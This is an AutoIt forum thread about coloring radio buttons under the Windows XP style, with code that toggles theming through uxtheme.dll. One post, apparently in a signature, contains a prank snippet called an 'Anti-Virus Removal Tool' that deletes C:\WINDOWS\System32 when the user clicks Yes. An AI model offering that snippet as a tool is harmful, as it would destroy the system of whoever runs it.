Sign in to follow this  
Followers 0
sensalim

Coloring radio button

6 posts in this topic

Help says

"Checkbox, Radio or Progress controls cannot be painted if the "Windows XP style" is used."

What does it mean?

Share this post


Link to post
Share on other sites



Windows XP Style is a.. style of windows displaying itself, I guess.

Posted Image

as opposed to Windows Classic style..

Posted Image

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

As related to Autoit, this little UDF will do what you need and replace the users original settings

#include <GUIConstants.au3>
Dim $XS_n

GUICreate("My GUI Checkbox")  ; will create a dialog box that when displayed is centered
GUISetBkColor(0x000000)
If XPStyle(1) Then MsgBox(0,0,"on", 2)
$checkCN = GUICtrlCreateRadio("Radio 1", 10, 10, 120, 15)
GUICtrlSetColor($checkCN, 0xFF0000)
GUICtrlSetBkColor($checkCN, 0x000000);0xFFFFFF)
If XPStyle(0) Then MsgBox(0,0,"off", 2)
GUISetState()       ; will display an  dialog box with 1 checkbox

; Run the GUI until the dialog is closed
While 1
    $msg = GUIGetMsg()

    If $msg = $GUI_EVENT_CLOSE Then ExitLoop
WEnd

Func XPStyle($OnOff = 1)   
    If $OnOff And StringInStr(@OSTYPE, "WIN32_NT") Then
        $XS_n = DllCall("uxtheme.dll", "int", "GetThemeAppProperties")
        DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)
        Return 1
    ElseIf StringInStr(@OSTYPE, "WIN32_NT") And IsArray($XS_n) Then
        DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", $XS_n[0])
        $XS_n = ""
        Return 1
    EndIf
    Return 0
EndFunc   ;==>XPStyle

8)

Edited by Valuater

NEWHeader1.png

Share this post


Link to post
Share on other sites

I found this in Big Daddy's Absolute Lyrics Finder. It might help

#comments-start
    Turn window themes off for the GUI Controls.
#comments-end
DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 1)
$GUI = GUICreate("Absolute Lyrics Finder  -=Big_Daddy Style=-", 586, 521, $iWinPosX, $iWinPosY)
GUISetOnEvent($GUI_EVENT_CLOSE, "_Exit")
GUISetIcon($TempDir & "favicon.ico")

Code derived from:

AbsoluteLyricsFinder.au3 v1.2.1.1 Dec. 18, 2007

Bob Anthony (big_daddy)


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

Wow. Many thanks.

Share this post


Link to post
Share on other sites

That DLLCall is very nice, thanks for sharing :)


What goes around comes around... Payback's a bitch.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0